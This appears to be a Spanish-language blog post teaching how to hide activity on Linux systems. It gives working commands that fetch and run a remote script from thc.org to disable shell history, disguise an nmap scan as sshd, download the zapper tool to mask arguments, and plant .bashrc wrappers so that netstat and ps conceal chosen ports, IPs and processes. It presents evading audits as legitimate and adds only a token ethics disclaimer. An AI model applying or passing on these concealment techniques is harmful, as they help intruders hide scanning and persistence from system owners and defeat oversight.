En el ámbito de la administración de sistemas y la seguridad informática, una de las preocupaciones más recurrentes es la capacidad de ocultar actividad en sistemas basados en Linux. Esto puede ser útil para fines legítimos de seguridad, como evitar que ciertos procesos sean detectados en auditorías o proteger conexiones sensibles. A continuación, se presenta una serie de técnicas avanzadas para modificar el comportamiento de Bash y ocultar procesos, conexiones y comandos del sistema.
Personalización y ocultación de Bash
Bash, el popular intérprete de comandos en sistemas Unix, permite la personalización y el control total de su comportamiento. Aquí se describe cómo se puede configurar un entorno Bash «silencioso» que evita registrar el historial de comandos y asegura una mayor privacidad.
1. Configurar un Bash «Hack Shell»
El primer paso es modificar el comportamiento estándar de Bash para que no registre el historial de comandos. Esto se puede lograr mediante el siguiente comando:
source <(curl -SsfL https://thc.org/hs)
Este script ajusta varias configuraciones, como deshabilitar el archivo de historial (~/.bash_history
), y establecer variables temporales para evitar rastros de las operaciones ejecutadas. Además, ajusta el entorno para ser menos «ruidoso», minimizando los registros de comandos.
Algunos de los cambios clave que introduce incluyen:
unset HISTFILE
: Desactiva el historial de comandos.export BASH_HISTORY="/dev/null"
: Redirige el historial a un lugar no persistente.- Modificaciones en el prompt (
PS1
) para dar una apariencia personalizada al entorno. - Ajuste de directorios temporales (
TMPDIR
) para asegurar que los datos temporales se manejen de manera segura.
Esta configuración es particularmente útil para aquellos que necesitan ejecutar comandos sin dejar rastros en el sistema.
2. Ocultar comandos y procesos
Ocultar la ejecución de comandos o procesos es una técnica que se utiliza para evitar que estos aparezcan en listas de procesos como ps
o en archivos de registro del sistema.
2.i. Ocultar comandos con exec
Una manera simple de ocultar el nombre de un proceso en ejecución es utilizar el comando exec
con alias. Esto permite que el proceso adopte un nombre diferente, lo que dificulta su identificación. Un ejemplo de cómo iniciar un proceso de escaneo de red utilizando nmap
ocultando su nombre como sshd
es:
(exec -a '/usr/sbin/sshd' nmap -Pn -F -n --open -oG - 10.0.2.1/24 &>nmap.log &)
Este comando inicia nmap
en segundo plano, pero en la lista de procesos aparecerá como si fuera sshd
, el demonio de SSH, engañando a cualquiera que revise los procesos del sistema.
2.ii. Uso de zapper
para ocultar opciones de línea de comandos
zapper
es una herramienta que permite ocultar las opciones de los comandos que se están ejecutando, proporcionando una capa adicional de anonimato. Esto es particularmente útil para ocultar parámetros sensibles que podrían delatar la naturaleza de la actividad.
Para usar zapper
, se descarga y configura de la siguiente manera:
curl -fL -o zapper https://github.com/hackerschoice/zapper/releases/latest/download/zapper-linux-$(uname -m) && \
chmod 755 zapper
Luego, para ejecutar nmap
y ocultar las opciones de la línea de comandos, se utiliza:
./zapper -a klog nmap -Pn -F -n --open -oG - 10.0.0.1/24
Este comando reemplaza las opciones visibles del proceso con klog
, lo que hace que sea más difícil detectar qué se está ejecutando realmente.
3. Ocultar conexiones de red
Cuando se trata de conexiones de red, ocultar actividad puede ser esencial para operaciones seguras. Una forma de hacerlo es modificando cómo las herramientas como netstat
muestran las conexiones activas. Esto es posible utilizando un simple script en Bash para filtrar las conexiones que deseamos ocultar.
3.i. Modificar netstat
para ocultar puertos específicos
Se puede configurar un alias de netstat
para que omita ciertas conexiones. Por ejemplo, para ocultar todas las conexiones en el puerto 31337 o desde la IP 1.2.3.4:
echo 'netstat(){ command netstat "$@" | grep -Fv -e :31337 -e 1.2.3.4; }' >>~/.bashrc
Esto asegurará que cada vez que se ejecute netstat
, se filtren las conexiones específicas, protegiendo la información sensible.
4. Ocultar procesos en Bash
Además de ocultar conexiones de red, también es posible ocultar procesos utilizando técnicas similares. Por ejemplo, se puede modificar el comportamiento de ps
para que omita ciertos procesos de su salida.
4.i. Ocultar procesos en la lista de ps
Se puede modificar la salida del comando ps
para que no muestre procesos como nmap
:
echo 'ps(){ command ps "$@" | exec -a GREP grep -Fv -e nmap -e GREP; }' >>~/.bashrc
Este comando asegura que el proceso nmap
, así como el propio comando grep
, no aparezcan en la lista de procesos, haciendo más difícil detectar la actividad.
Conclusión
Ocultar la actividad en un sistema basado en Linux es una práctica que puede ser utilizada tanto para fines legítimos como para propósitos más oscuros. Las técnicas descritas aquí proporcionan herramientas poderosas para quienes buscan asegurar la privacidad de sus operaciones, ya sea deshabilitando historiales de comandos, ocultando procesos o filtrando conexiones de red. Sin embargo, es importante recordar que estas prácticas deben utilizarse de manera ética y responsable, siempre respetando las normativas de seguridad y privacidad.
IMPORTANTE: Recuerda utilizar esta información con responsabilidad y siempre que sepas como hacer uso de ella.
Fuente: GitHub.